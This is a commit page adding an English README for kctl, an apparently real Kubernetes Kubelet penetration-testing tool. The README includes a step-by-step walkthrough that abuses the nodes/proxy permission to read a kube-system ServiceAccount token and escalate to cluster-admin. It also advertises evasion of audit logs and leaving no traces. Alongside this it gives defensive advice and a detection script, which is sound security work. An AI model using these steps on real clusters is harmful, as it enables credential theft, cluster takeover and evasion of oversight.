Skip to content

Commit b230c91

Browse files
kinokopioclaude
andcommitted
docs: add English README and badges
- Create README.en.md with full English documentation - Add GitHub badges (release, Go version, license, issues, stars) - Add language switcher between Chinese and English - Update README.md with badges and navigation Co-Authored-By: Claude <noreply@anthropic.com>
1 parent f6f6eea commit b230c91

File tree

2 files changed

+455
-22
lines changed

2 files changed

+455
-22
lines changed

README.en.md

Lines changed: 329 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,329 @@
1+
<p align="center">
2+
<img src="https://img.shields.io/github/v/release/kinopio1101/kctl?color=%2300ADD8&label=release&logo=github&logoColor=white" alt="GitHub Release">
3+
<img src="https://img.shields.io/badge/Go-1.24+-00ADD8?logo=go&logoColor=white" alt="Go Version">
4+
<a href="https://github.com/kinopio1101/kctl/blob/main/LICENSE">
5+
<img src="https://img.shields.io/badge/License-MIT-E11311.svg" alt="MIT License">
6+
</a>
7+
<a href="https://github.com/kinopio1101/kctl/issues">
8+
<img src="https://img.shields.io/github/issues/kinopio1101/kctl?color=%23F97316&logo=github" alt="GitHub Issues">
9+
</a>
10+
<a href="https://github.com/kinopio1101/kctl/stargazers">
11+
<img src="https://img.shields.io/github/stars/kinopio1101/kctl?color=%23FBBF24&logo=github" alt="GitHub Stars">
12+
</a>
13+
</p>
14+
15+
<h1 align="center">
16+
<br>
17+
<img src="https://raw.githubusercontent.com/kubernetes/kubernetes/master/logo/logo.svg" alt="kctl" width="120">
18+
<br>
19+
kctl
20+
<br>
21+
</h1>
22+
23+
<h4 align="center">Kubernetes Kubelet Security Audit Tool - Penetration Testing & Lateral Movement</h4>
24+
25+
<p align="center">
26+
<a href="#features">Features</a> •
27+
<a href="#installation">Installation</a> •
28+
<a href="#quick-start">Quick Start</a> •
29+
<a href="#commands">Commands</a> •
30+
<a href="#attack-scenario">Attack Scenario</a> •
31+
<a href="#defense">Defense</a>
32+
</p>
33+
34+
---
35+
36+
## Overview
37+
38+
**kctl** is a lightweight Kubernetes security audit tool specifically designed for Kubelet API security assessment and privilege analysis. Built for penetration testing scenarios, it supports automatic environment detection and lateral movement when running inside a Pod.
39+
40+
### Key Features
41+
42+
- **Network Discovery** - Scan network ranges to discover Kubelet nodes
43+
- **SA Permission Analysis** - Scan all Pod ServiceAccount tokens and analyze permissions
44+
- **Risk Assessment** - Automatically identify high-risk permissions (cluster-admin, nodes/proxy, etc.)
45+
- **Lateral Movement** - Execute commands across Pods via Kubelet API
46+
- **Stealth Operation** - All data cached in memory, automatically cleared on exit
47+
48+
## Features
49+
50+
| Feature | Description |
51+
|---------|-------------|
52+
| `discover` | Scan network ranges to find Kubelet endpoints |
53+
| `sa scan` | Extract and analyze SA tokens from all Pods |
54+
| `sa list` | List discovered ServiceAccounts with risk levels |
55+
| `exec` | Execute commands in any Pod via Kubelet API |
56+
| `pods` | List all Pods on the node |
57+
58+
## Installation
59+
60+
### Download Binary
61+
62+
```bash
63+
# Linux amd64
64+
curl -LO https://github.com/kinopio1101/kctl/releases/latest/download/kctl-linux-amd64
65+
chmod +x kctl-linux-amd64
66+
mv kctl-linux-amd64 /usr/local/bin/kctl
67+
68+
# macOS arm64
69+
curl -LO https://github.com/kinopio1101/kctl/releases/latest/download/kctl-darwin-arm64
70+
chmod +x kctl-darwin-arm64
71+
mv kctl-darwin-arm64 /usr/local/bin/kctl
72+
```
73+
74+
### Build from Source
75+
76+
```bash
77+
git clone https://github.com/kinopio1101/kctl.git
78+
cd kctl
79+
go build -o kctl ./main/main.go
80+
```
81+
82+
## Quick Start
83+
84+
### Basic Usage
85+
86+
```bash
87+
# Enter interactive console
88+
./kctl console
89+
90+
# Specify target
91+
./kctl console -t 10.0.0.1
92+
93+
# Use SOCKS5 proxy
94+
./kctl console -t 10.0.0.1 --proxy socks5://127.0.0.1:1080
95+
```
96+
97+
### Auto-Detection in Pod
98+
99+
When running inside a Pod, kctl automatically:
100+
1. Detects Kubelet IP (default gateway)
101+
2. Reads ServiceAccount token
102+
3. Connects to Kubelet
103+
4. Checks current SA permissions
104+
105+
```
106+
$ ./kctl console
107+
108+
██╗ ██╗ ██████╗████████╗██╗
109+
██║ ██╔╝██╔════╝╚══██╔══╝██║
110+
█████╔╝ ██║ ██║ ██║
111+
██╔═██╗ ██║ ██║ ██║
112+
██║ ██╗╚██████╗ ██║ ███████╗
113+
╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚══════╝
114+
Kubelet Security Audit Tool
115+
116+
Mode : In-Pod (Memory Database)
117+
Kubelet : 10.244.1.1:10250 (auto-detected)
118+
Token : /var/run/secrets/kubernetes.io/serviceaccount/token
119+
120+
[*] Auto-connecting to Kubelet 10.244.1.1:10250...
121+
✓ Connected successfully
122+
[+] Using ServiceAccount: default/attacker
123+
[*] Checking permissions...
124+
[+] Risk Level: CRITICAL
125+
126+
kctl [default/attacker CRITICAL]>
127+
```
128+
129+
## Commands
130+
131+
### Console Commands
132+
133+
| Command | Description |
134+
|---------|-------------|
135+
| `help` | Show help information |
136+
| `discover <target>` | Scan network range for Kubelet nodes |
137+
| `connect [ip]` | Connect to Kubelet (optional, auto-connects) |
138+
| `sa` | ServiceAccount operations |
139+
| `sa list` | List scanned ServiceAccounts |
140+
| `sa scan` | Scan all Pod SA tokens |
141+
| `sa use <ns/name>` | Switch to specified SA |
142+
| `sa info` | Show current SA details |
143+
| `pods` | List Pods on the node |
144+
| `exec` | Execute command in Pod |
145+
| `set <key> <value>` | Set configuration |
146+
| `show options` | Show current configuration |
147+
| `show status` | Show session status |
148+
| `show kubelets` | Show discovered Kubelet nodes |
149+
| `export json/csv` | Export scan results |
150+
| `clear` | Clear cache |
151+
| `exit` | Exit console |
152+
153+
### Network Discovery
154+
155+
```bash
156+
# Scan CIDR range
157+
discover 10.0.0.0/24
158+
159+
# Scan IP range
160+
discover 10.0.0.1-254
161+
162+
# Custom ports and concurrency
163+
discover 10.0.0.0/24 -p 10250,10255 -c 200
164+
165+
# Show all open ports (not just Kubelet)
166+
discover 10.0.0.0/24 --all
167+
```
168+
169+
### ServiceAccount Operations
170+
171+
```bash
172+
# List all SAs (default)
173+
sa
174+
175+
# List risky SAs only
176+
sa list --risky
177+
178+
# List cluster-admin only
179+
sa list --admin
180+
181+
# Scan all Pod SA tokens
182+
sa scan
183+
184+
# Select SA
185+
sa use kube-system/cluster-admin
186+
187+
# Show current SA details
188+
sa info
189+
```
190+
191+
## Attack Scenario
192+
193+
### nodes/proxy Privilege Escalation
194+
195+
The `nodes/proxy GET` permission is commonly granted to monitoring tools (Prometheus, Datadog, Grafana) but can be exploited for RCE.
196+
197+
Based on [Graham Helton's research](https://grahamhelton.com/blog/nodes-proxy-rce), due to Kubelet's authorization flaw with WebSocket connections, `nodes/proxy GET` can be used to execute commands in any Pod.
198+
199+
#### Attack Flow
200+
201+
```
202+
┌─────────────────────────────────────────────────────────────────┐
203+
│ nodes/proxy GET Privilege Escalation │
204+
└─────────────────────────────────────────────────────────────────┘
205+
206+
┌──────────────┐ ┌──────────────┐ ┌──────────────────────┐
207+
│ Initial │ │ Permission │ │ Lateral Movement │
208+
│ Access │ │ Discovery │ │ │
209+
│ │────>│ │────>│ Execute commands in │
210+
│ Compromised │ │ nodes/proxy │ │ other Pods via │
211+
│ Pod │ │ GET found │ │ Kubelet API │
212+
└──────────────┘ └──────────────┘ └──────────────────────┘
213+
214+
v
215+
┌──────────────┐ ┌──────────────┐ ┌──────────────────────┐
216+
│ Full Cluster │ │ Privilege │ │ Token Theft │
217+
│ Control │ │ Escalation │ │ │
218+
│ │<────│ │<────│ Read system Pod │
219+
│ cluster-admin│ │ Use high- │ │ SA tokens │
220+
│ access │ │ priv token │ │ │
221+
└──────────────┘ └──────────────┘ └──────────────────────┘
222+
```
223+
224+
#### Step-by-Step
225+
226+
```bash
227+
# 1. Copy kctl to target Pod
228+
kubectl cp kctl-linux-amd64 attacker:/kctl
229+
230+
# 2. Enter Pod and run kctl
231+
kubectl exec -it attacker -- /bin/sh
232+
/kctl console
233+
234+
# 3. Scan all SA tokens
235+
kctl> sa scan
236+
237+
# 4. Find high-privilege SA
238+
kctl> sa list --admin
239+
240+
# 5. Execute command in system Pod to steal token
241+
kctl> exec -n kube-system kube-proxy-xxxxx -- cat /var/run/secrets/kubernetes.io/serviceaccount/token
242+
243+
# 6. Switch to high-privilege SA
244+
kctl> sa use kube-system/kube-proxy
245+
246+
# 7. Now you have cluster-admin!
247+
kctl [kube-system/kube-proxy ADMIN]>
248+
```
249+
250+
## Risk Levels
251+
252+
| Level | Description | Example Permissions |
253+
|-------|-------------|---------------------|
254+
| ADMIN | Cluster administrator | `*/*`, cluster-admin |
255+
| CRITICAL | Direct privilege escalation | `secrets:create`, `pods/exec:create` |
256+
| HIGH | Sensitive data exposure | `secrets:get`, `nodes/proxy:get` |
257+
| MEDIUM | Potential abuse | `pods:create`, `configmaps:get` |
258+
| LOW | Low risk | `pods:list`, `services:get` |
259+
| NONE | No risk | Read-only basic permissions |
260+
261+
## Defense
262+
263+
### Recommendations
264+
265+
1. **Avoid nodes/proxy permissions** - Use KEP-2862 fine-grained permissions (`nodes/metrics`, `nodes/stats`)
266+
2. **Network isolation** - Restrict access to Kubelet port (10250)
267+
3. **Audit logging** - Note: Direct Kubelet API access bypasses K8s audit logs
268+
4. **Least privilege** - Regularly review ServiceAccount permissions
269+
270+
### Detection Script
271+
272+
Check for ServiceAccounts with `nodes/proxy` permission:
273+
274+
```bash
275+
kubectl get clusterrolebindings -o json | jq -r '
276+
.items[] |
277+
select(.roleRef.kind == "ClusterRole") |
278+
.metadata.name as $binding |
279+
.roleRef.name as $role |
280+
.subjects[]? |
281+
"\($binding) -> \($role) -> \(.kind)/\(.namespace)/\(.name)"
282+
' | while read line; do
283+
role=$(echo $line | cut -d'>' -f2 | tr -d ' ')
284+
kubectl get clusterrole $role -o json 2>/dev/null | \
285+
jq -e '.rules[] | select(.resources[] | contains("nodes/proxy"))' >/dev/null && \
286+
echo "[!] $line"
287+
done
288+
```
289+
290+
## Project Structure
291+
292+
```
293+
kctl/
294+
├── cmd/
295+
│ ├── console/ # Console command entry
296+
│ └── rootCmd.go
297+
├── internal/
298+
│ ├── console/ # Interactive console
299+
│ │ └── commands/ # Console commands
300+
│ │ └── sa/ # SA subcommands
301+
│ ├── session/ # Session state management
302+
│ ├── client/
303+
│ │ ├── kubelet/ # Kubelet API client
304+
│ │ └── k8s/ # K8s API client
305+
│ ├── db/ # SQLite in-memory database
306+
│ └── rbac/ # Permission analysis
307+
├── pkg/
308+
│ ├── network/ # Network utilities (scanner)
309+
│ ├── token/ # JWT token parsing
310+
│ └── types/ # Type definitions
311+
└── config/ # Configuration
312+
```
313+
314+
## Disclaimer
315+
316+
- This tool is intended for **authorized security assessments and penetration testing only**
317+
- Ensure you have proper authorization before use
318+
- All operations are performed in memory, leaving no traces after exit
319+
- Direct Kubelet API access is **not recorded** in Kubernetes audit logs
320+
321+
## References
322+
323+
- [Kubernetes RCE Via Nodes/Proxy GET Permission](https://grahamhelton.com/blog/nodes-proxy-rce)
324+
- [KEP-2862: Fine-Grained Kubelet API Authorization](https://github.com/kubernetes/enhancements/blob/master/keps/sig-node/2862-fine-grained-kubelet-authz/README.md)
325+
- [Kubelet Authentication/Authorization](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
326+
327+
## License
328+
329+
[MIT License](LICENSE)

0 commit comments

Comments
 (0)